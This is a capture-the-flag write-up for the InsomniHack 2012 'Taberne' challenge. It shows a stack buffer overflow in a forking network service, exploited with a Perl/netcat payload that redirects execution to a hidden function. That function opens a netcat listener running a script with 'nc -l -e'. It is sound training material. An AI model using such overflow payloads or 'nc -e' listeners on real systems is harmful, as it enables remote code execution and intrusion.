InsomniHack-2012/Exploitation/3 Taberne
We downloaded a file called "toto",
# file toto toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped # strings toto /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used socket exit htons perror fork listen strlen bind read memcpy strcat bzero system atoi close accept __libc_start_main write snprintf GLIBC_2.0 PTRh@ [^_] ERROR writing to socket nc -l -e /tmp/showpass.sh -p ERROR opening socket ERROR on binding ERROR on accept Error on fork Adieu l'ami, dis-voir c'que c'est ton mot de passe: De dieu, tu t'en souviens pas? C'est balot! # ./toto 1234
On a client, we get:
> nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla De dieu, tu t'en souviens pas? C'est balot!
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
# gdb -q ./toto (gdb) set follow-fork-mode child (gdb) set disassembly-flavor intel (gdb) r 1234 Starting program: /root/toto 1234
On the client, let's do:
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And the server segfaults:
Program received signal SIGSEGV, Segmentation fault. [Switching to process 1962] 0x41414141 in ?? ()
The backtrace is definitely screwed,
(gdb) bt #0 0x41414141 in ?? () #1 0x0000000a in ?? () #2 0x00000006 in ?? () #3 0xbfa7476c in ?? () #4 0xb7f73ff4 in ?? () from /lib/ld-linux.so.2 #5 0xb7f57b0c in ?? () #6 0x00000001 in ?? () #7 0xbfa746b4 in ?? () #8 0xf3b80002 in ?? () #9 0x01c710ac in ?? () #10 0x00000000 in ?? ()
so we just have a quick look:
0804888c <checkPass>: 804888c: 55 push ebp 804888d: 89 e5 mov ebp,esp 804888f: 83 ec 28 sub esp,0x28 8048892: c7 44 24 08 20 00 00 mov DWORD PTR [esp+0x8],0x20 <------ 8048899: 00 804889a: 8d 45 f0 lea eax,[ebp-0x10] 804889d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80488a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80488a4: 89 04 24 mov DWORD PTR [esp],eax 80488a7: e8 48 fd ff ff call 80485f4 <read@plt> 80488ac: c9 leave 80488ad: c3 ret
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
(gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) c Breakpoint 1, 0x080488ad in checkPass () Current language: auto; currently asm (gdb) x /16wx $esp 0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc 0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a44 0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:
(gdb) disassemble pwnthis Dump of assembler code for function pwnthis: 0x080487ef <pwnthis+0>: push ebp 0x080487f0 <pwnthis+1>: mov ebp,esp 0x080487f2 <pwnthis+3>: push ebx 0x080487f3 <pwnthis+4>: sub esp,0x124 0x080487f9 <pwnthis+10>: mov eax,DWORD PTR [ebp+0x8] 0x080487fc <pwnthis+13>: mov DWORD PTR [esp+0xc],eax 0x08048800 <pwnthis+17>: mov DWORD PTR [esp+0x8],0x8048b18 0x08048808 <pwnthis+25>: mov DWORD PTR [esp+0x4],0x5 0x08048810 <pwnthis+33>: lea eax,[ebp-0x9] 0x08048813 <pwnthis+36>: mov DWORD PTR [esp],eax 0x08048816 <pwnthis+39>: call 0x80486b4 <snprintf@plt> 0x0804881b <pwnthis+44>: mov DWORD PTR [esp+0x4],0x100 0x08048823 <pwnthis+52>: lea eax,[ebp-0x109] 0x08048829 <pwnthis+58>: mov DWORD PTR [esp],eax 0x0804882c <pwnthis+61>: call 0x80486a4 <bzero@plt> 0x08048831 <pwnthis+66>: mov DWORD PTR [esp+0x8],0x1e 0x08048839 <pwnthis+74>: mov DWORD PTR [esp+0x4],0x8048b1b 0x08048841 <pwnthis+82>: lea ebx,[ebp-0x109] 0x08048847 <pwnthis+88>: lea eax,[ebp-0x109] 0x0804884d <pwnthis+94>: mov DWORD PTR [esp],eax 0x08048850 <pwnthis+97>: call 0x8048644 <strlen@plt> 0x08048855 <pwnthis+102>: lea eax,[ebx+eax*1] 0x08048858 <pwnthis+105>: mov DWORD PTR [esp],eax 0x0804885b <pwnthis+108>: call 0x8048634 <memcpy@plt> 0x08048860 <pwnthis+113>: lea eax,[ebp-0x9] 0x08048863 <pwnthis+116>: mov DWORD PTR [esp+0x4],eax 0x08048867 <pwnthis+120>: lea eax,[ebp-0x109] 0x0804886d <pwnthis+126>: mov DWORD PTR [esp],eax 0x08048870 <pwnthis+129>: call 0x8048684 <strcat@plt> 0x08048875 <pwnthis+134>: lea eax,[ebp-0x109] 0x0804887b <pwnthis+140>: mov DWORD PTR [esp],eax 0x0804887e <pwnthis+143>: call 0x80485a4 <system@plt> 0x08048883 <pwnthis+148>: add esp,0x124 0x08048889 <pwnthis+154>: pop ebx 0x0804888a <pwnthis+155>: pop ebp 0x0804888b <pwnthis+156>: ret
So we are going to write the address to return there and break before the system to see the content:
> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And on the server side:
Breakpoint 2, 0x0804887e in pwnthis () (gdb) x /wx $esp 0xbf9e3c64: 0xbf9e3c83 (gdb) x /s 0xbf9e3c83 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
> nc 172.16.199.131 1128